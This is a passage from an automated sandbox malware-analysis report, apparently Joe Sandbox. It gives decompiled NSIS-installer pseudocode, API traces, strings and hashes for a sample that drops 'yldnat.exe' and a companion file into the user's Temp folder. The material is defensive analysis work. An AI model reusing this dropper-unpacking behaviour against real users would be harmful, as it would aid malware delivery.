								 *0x7a8ab8 =  *_t108;
								if((_v40 & 0x00000001) != 0) {
									 *0x7a8abc =  *0x7a8abc + 1;
								}
								_t45 = _t108 + 0x44; // 0x44
								_t69 = _t45;
								_t99 = 8;
								do {
									_t69 = _t69 - 8;
									 *_t69 =  *_t69 + _t108;
									_t99 = _t99 - 1;
								} while (_t99 != 0);
								 *((intOrPtr*)(_t108 + 0x3c)) =  *0x79f734;
								E00406119(0x7a8ac0, _t108 + 4, 0x40);
								return 0;
							}
							goto L30;
						}
						return L"Error writing temporary file. Make sure your temp folder is valid.";
					}
					E004035FE( *0x79f730);
					if(E004035E8( &_a4, 4) == 0 || _v8 != _a4) {
						goto L30;
					} else {
						goto L26;
					}
				} else {
					do {
						_t104 = _t107;
						asm("sbb eax, eax");
						_t81 = ( ~( *0x7a8ab4) & 0x00007e00) + 0x200;
						if(_t107 >= _t81) {
							_t104 = _t81;
						}
						if(E004035E8(0x797730, _t104) == 0) {
							E0040302E(1);
							L30:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						if( *0x7a8ab4 != 0) {
							if((_a4 & 0x00000002) == 0) {
								E0040302E(0);
							}
							goto L19;
						}
						E00406119( &_v40, 0x797730, 0x1c);
						_t88 = _v40;
						if((_t88 & 0xfffffff0) == 0 && _v36 == 0xdeadbeef && _v24 == 0x74736e49 && _v28 == 0x74666f73 && _v32 == 0x6c6c754e) {
							_a4 = _a4 | _t88;
							 *0x7a8b40 =  *0x7a8b40 | _a4 & 0x00000002;
							_t91 = _v16;
							 *0x7a8ab4 =  *0x79f730;
							if(_t91 > _t107) {
								goto L30;
							}
							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
								_v12 = _v12 + 1;
								_t107 = _t91 - 4;
								if(_t104 > _t107) {
									_t104 = _t107;
								}
								goto L19;
							} else {
								goto L22;
							}
						}
						L19:
						if(_t107 <  *0x79f740) {
							_v8 = E00406B28(_v8, 0x797730, _t104);
						}
						 *0x79f730 =  *0x79f730 + _t104;
						_t107 = _t107 - _t104;
					} while (_t107 != 0);
					goto L22;
				}
			}

0x004030de
0x004030e1
0x004030fb
0x00403100
0x00403113
0x00403118
0x0040311e
0x00000000
0x00403120
0x00403131
0x00403142
0x00403149
0x00403151
0x00403156
0x00403158
0x00403246
0x00403248
0x00403253
0x00403254
0x00000000
0x00000000
0x0040325d
0x00403289
0x0040328e
0x00403294
0x004032a2
0x004032a9
0x004032af
0x004032ca
0x004032d3
0x004032d8
0x004032f7
0x00403307
0x00403319
0x0040331e
0x00403326
0x00403333
0x0040333b
0x00403340
0x00403342
0x00403342
0x0040334a
0x0040334a
0x0040334d
0x0040334e
0x0040334e
0x00403351
0x00403353
0x00403353
0x0040335d
0x00403369
0x00000000
0x0040336e
0x00000000
0x00403326
0x00000000
0x004032da
0x00403265
0x00403277
0x00000000
0x00000000
0x00000000
0x00000000
0x0040315e
0x0040315e
0x00403163
0x00403167
0x0040316e
0x00403175
0x00403177
0x00403177
0x00403186
0x004032e6
0x00403328
0x00000000
0x00403328
0x00403192
0x00403216
0x00403219
0x0040321e
0x00000000
0x00403216
0x0040319f
0x004031a4
0x004031ac
0x004031d2
0x004031e1
0x004031e7
0x004031ec
0x004031f2
0x00000000
0x00000000
0x004031fc
0x00403204
0x00403207
0x0040320c
0x0040320e
0x0040320e
0x00000000
0x00000000
0x00000000
0x00000000
0x004031fc
0x0040321f
0x00403225
0x00403235
0x00403235
0x00403238
0x0040323e
0x0040323e
0x00000000
0x0040315e

APIs

GetTickCount.KERNEL32(7556D4C4,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004030E4
GetModuleFileNameW.KERNEL32(00000000,007B6800,00000400), ref: 00403100

Part of subcall function 0040615E: GetFileAttributesW.KERNELBASE(00000003,00403113,007B6800,80000000,00000003), ref: 00406162
Part of subcall function 0040615E: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406184

GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,007B4800,007B4800,007B6800,007B6800,80000000,00000003), ref: 00403149
GlobalAlloc.KERNELBASE(00000040,?), ref: 0040328E

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403328
Error launching installer, xrefs: 00403120
Null, xrefs: 004031C9
Inst, xrefs: 004031B7
C:\Users\user\AppData\Local\Temp\, xrefs: 004030DA, 0040329C
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032DA
soft, xrefs: 004031C0

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-2435864027
Opcode ID: 323c9084f4495cb75f4cf70951988b51dd1d9d869199bcaf0981bfe9882d4e48
Instruction ID: 583a998f33a1e047253031f1d22d0aa602d55a867c39f8e0fceec447792fd132
Opcode Fuzzy Hash: 323c9084f4495cb75f4cf70951988b51dd1d9d869199bcaf0981bfe9882d4e48
Instruction Fuzzy Hash: 0671E171940204ABCB20DFA5EE85A9E3FA8AB11316F10817FF900B62D1DB7C9E418B5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __esi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				WCHAR* _t81;
				void* _t83;
				void* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402DA6(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
				_t35 = E00405FB4( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t81 = L"C:\\U";
				if(_t35 == 0) {
					lstrcatW(E00405F3D(E0040666E(_t81, 0x7b4000)), ??);
				} else {
					E0040666E();
				}
				E004068F5(_t81);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E004069A4(_t81);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x24);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00406139(_t81);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E0040615E(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x38) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E004056D0(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x7a8b28;
						goto L32;
					} else {
						E0040666E(0x40b5f8, _t83);
						E0040666E(_t83, _t81);
						E004066AB(_t77, _t81, _t83, "C:\Users\Albus\AppData\Local\Temp",  *((intOrPtr*)(_t86 - 0x1c)));
						E0040666E(_t83, 0x40b5f8);
						_t64 = E00405CCE("C:\Users\Albus\AppData\Local\Temp",  *(_t86 - 0x30) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x7a8b28 =  &( *0x7a8b28->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t81);
								_push(0xfffffffa);
								E004056D0();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E004056D0(0xffffffea,  *(_t86 - 8));
				 *0x7a8b54 =  *0x7a8b54 + 1;
				_t45 = E00403377(_t79,  *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
				 *0x7a8b54 =  *0x7a8b54 - 1;
				__eflags =  *(_t86 - 0x24) - 0xffffffff;
				_t84 = _t45;
				if( *(_t86 - 0x24) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t86 - 0x38)); // executed
				__eflags = _t84 - _t77;
				if(_t84 >= _t77) {
					goto L31;
				} else {
					__eflags = _t84 - 0xfffffffe;
					if(_t84 != 0xfffffffe) {
						E004066AB(_t77, _t81, _t84, _t81, 0xffffffee);
					} else {
						E004066AB(_t77, _t81, _t84, _t81, 0xffffffe9);
						lstrcatW(_t81,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t81);
					E00405CCE();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x0040292e
0x0040292e
0x00402c2a
0x00402c2d
0x00402c2d
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402c33
0x00402c33
0x00402c33
0x00401867
0x00401867
0x00401868
0x00401493
0x0040239d
0x0040239d
0x0040239d
0x00401865
0x0040185e
0x00402c35
0x00402c39
0x00402c39
0x00401892
0x00401897
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x00402398
0x00000000
0x00402398
0x00000000

APIs

lstrcatW.KERNEL32 ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,00000000,00000000,C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,007B4000,?,?,00000031), ref: 004017D5

Part of subcall function 0040666E: lstrcpynW.KERNEL32(?,?,00000400,004037B6,007A7AA0,NSIS Error), ref: 0040667B

Part of subcall function 004056D0: lstrlenW.KERNEL32(007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405708
Part of subcall function 004056D0: lstrlenW.KERNEL32(004030A8,007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405718
Part of subcall function 004056D0: lstrcatW.KERNEL32 ref: 0040572B
Part of subcall function 004056D0: SetWindowTextW.USER32 ref: 0040573D
Part of subcall function 004056D0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405763
Part of subcall function 004056D0: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040577D
Part of subcall function 004056D0: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040578B

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna
API String ID: 1941528284-2387052581
Opcode ID: c88ed36c007d22437061545d9d5dec38a2b75a4754de15431c99bf9f19713014
Instruction ID: c895feda3e823d9c0bc0fb7144dfd3dc41df657037fc16576ccee127d24ab7e8
Opcode Fuzzy Hash: c88ed36c007d22437061545d9d5dec38a2b75a4754de15431c99bf9f19713014
Instruction Fuzzy Hash: CB41D571800108BACF11BBB5DD85DAE7679EF45328F20463FF422B11E1DB3D89619A2E

Uniqueness

Uniqueness Score: -1.00%

Function 004069CB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004069CB(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x004069e2
0x004069eb
0x004069ed
0x004069ed
0x004069f1
0x00406a04
0x004069fe
0x004069fe
0x004069fe
0x00406a1d
0x00406a31
0x00406a38

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069E2
wsprintfW.USER32 ref: 00406A1D
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A31

Strings

UXTHEME, xrefs: 004069D4
\, xrefs: 004069F3
%s%S.dll, xrefs: 00406A17

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction ID: edb644a17e19fa0d5d66c6da3b257654e99a3b388903ea93700411201bdfbebd
Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction Fuzzy Hash: 37F0F671600219A7DB14BB64DD0EF9B376CAB00304F11447AA646F10D0FB7CDB68CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040347F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0040347F(intOrPtr _a4) {
				intOrPtr _t11;
				signed int _t12;
				void* _t15;
				long _t16;
				void* _t18;
				intOrPtr _t30;
				intOrPtr _t33;
				intOrPtr _t35;
				void* _t36;
				intOrPtr _t48;

				_t33 =  *0x79f734 -  *0x40ce60 + _a4;
				 *0x7a8aac = GetTickCount() + 0x1f4;
				if(_t33 <= 0) {
					L22:
					E0040302E(1);
					return 0;
				}
				E004035FE( *0x79f744);
				SetFilePointer( *0x40a01c,  *0x40ce60, 0, 0); // executed
				 *0x79f740 = _t33;
				 *0x79f730 = 0;
				while(1) {
					_t30 = 0x4000;
					_t11 =  *0x79f738 -  *0x79f744;
					if(_t11 <= 0x4000) {
						_t30 = _t11;
					}
					_t12 = E004035E8(0x793730, _t30);
					if(_t12 == 0) {
						break;
					}
					 *0x79f744 =  *0x79f744 + _t30;
					 *0x40ce68 = 0x793730;
					 *0x40ce6c = _t30;
					L6:
					L6:
					if( *0x7a8ab0 != 0 &&  *0x7a8b40 == 0) {
						 *0x79f730 =  *0x79f740 -  *0x79f734 - _a4 +  *0x40ce60;
						E0040302E(0);
					}
					 *0x40ce70 = 0x78b730;
					 *0x40ce74 = 0x8000;
					if(E00406B96(?str?) < 0) {
						goto L20;
					}
					_t35 =  *0x40ce70; // 0x78f2a8
					_t36 = _t35 - 0x78b730;
					if(_t36 == 0) {
						__eflags =  *0x40ce6c; // 0x0
						if(__eflags != 0) {
							goto L20;
						}
						__eflags = _t30;
						if(_t30 == 0) {
							goto L20;
						}
						L16:
						_t16 =  *0x79f734;
						if(_t16 -  *0x40ce60 + _a4 > 0) {
							continue;
						}
						SetFilePointer( *0x40a01c, _t16, 0, 0);
						goto L22;
					}
					_t18 = E00406210( *0x40a01c, 0x78b730, _t36); // executed
					if(_t18 == 0) {
						_push(0xfffffffe);
						L21:
						_pop(_t15);
						return _t15;
					}
					 *0x40ce60 =  *0x40ce60 + _t36;
					_t48 =  *0x40ce6c; // 0x0
					if(_t48 != 0) {
						goto L6;
					}
					goto L16;
					L20:
					_push(0xfffffffd);
					goto L21;
				}
				return _t12 | 0xffffffff;
			}

0x0040348f
0x004034a2
0x004034a7
0x004035d7
0x004035d9
0x00000000
0x004035df
0x004034b3
0x004034c6
0x004034cc
0x004034d2
0x004034dd
0x004034e2
0x004034e7
0x004034ef
0x004034f1
0x004034f1
0x004034fa
0x00403501
0x00000000
0x00000000
0x00403507
0x0040350d
0x00403513
0x00000000
0x00403519
0x0040351f
0x0040353f
0x00403544
0x00403549
0x0040354f
0x00403555
0x00403566
0x00000000
0x00000000
0x00403568
0x0040356e
0x00403570
0x00403593
0x00403599
0x00000000
0x00000000
0x0040359b
0x0040359d
0x00000000
0x00000000
0x0040359f
0x0040359f
0x004035b2
0x00000000
0x00000000
0x004035c1
0x00000000
0x004035c1
0x0040357a
0x00403581
0x004035ce
0x004035d4
0x004035d4
0x00000000
0x004035d4
0x00403583
0x00403589
0x0040358f
0x00000000
0x00000000
0x00000000
0x004035d2
0x004035d2
0x00000000
0x004035d2
0x00000000

APIs

GetTickCount.KERNEL32(00000000,00000000,?,00000000,004033A9,00000004,00000000,00000000,?,?,00403323,000000FF,00000000,00000000,?,?), ref: 00403493

Part of subcall function 004035FE: SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032FC,?), ref: 0040360C

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004033A9,00000004,00000000,00000000,?,?,00403323,000000FF,00000000,00000000,?,?), ref: 004034C6
SetFilePointer.KERNEL32(?,00000000,00000000,pky,00793730,00004000,?,00000000,004033A9,00000004,00000000,00000000,?,?,00403323,000000FF), ref: 004035C1

Strings

07y, xrefs: 004034F3
pky, xrefs: 0040350D, 0040354A

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: 07y$pky
API String ID: 1092082344-214164554
Opcode ID: 5ef9f3cf75525ab0b28f5e9a18968e2fb4815e048a68f3a4626f05087b93d5e0
Instruction ID: fa4fce997e9b0d1f670701ff0d5ea0446f36afc43afd7a1273bf0b0fb6409833
Opcode Fuzzy Hash: 5ef9f3cf75525ab0b28f5e9a18968e2fb4815e048a68f3a4626f05087b93d5e0
Instruction Fuzzy Hash: 6E31AEB2510215EFCB209F69FE8492A3BADF74475A714423BE401B22F0DB795D02CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405B9F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405B9F(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405baa
0x00405bae
0x00405bb1
0x00405bb7
0x00405bbb
0x00405bbf
0x00405bc7
0x00405bce
0x00405bd4
0x00405bdb
0x00405be2
0x00405bea
0x00405bec
0x00000000
0x00405bec
0x00405bf6
0x00405bfd
0x00405c13
0x00000000
0x00000000
0x00000000
0x00405c15
0x00405c19

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BE2
GetLastError.KERNEL32 ref: 00405BF6
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405C0B
GetLastError.KERNEL32 ref: 00405C15

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405BC5

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-4017390910
Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction ID: a4b5b825bdd4266eac6b0ee8a32438dce20ed58698919e53373cd8165130f89a
Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction Fuzzy Hash: 31010871D04219EAEF009BA0C944BEFBFB8EF04314F00403AD545B6191E7799A48CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040618D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040618D(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a5ac; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x00406193
0x00406199
0x0040619a
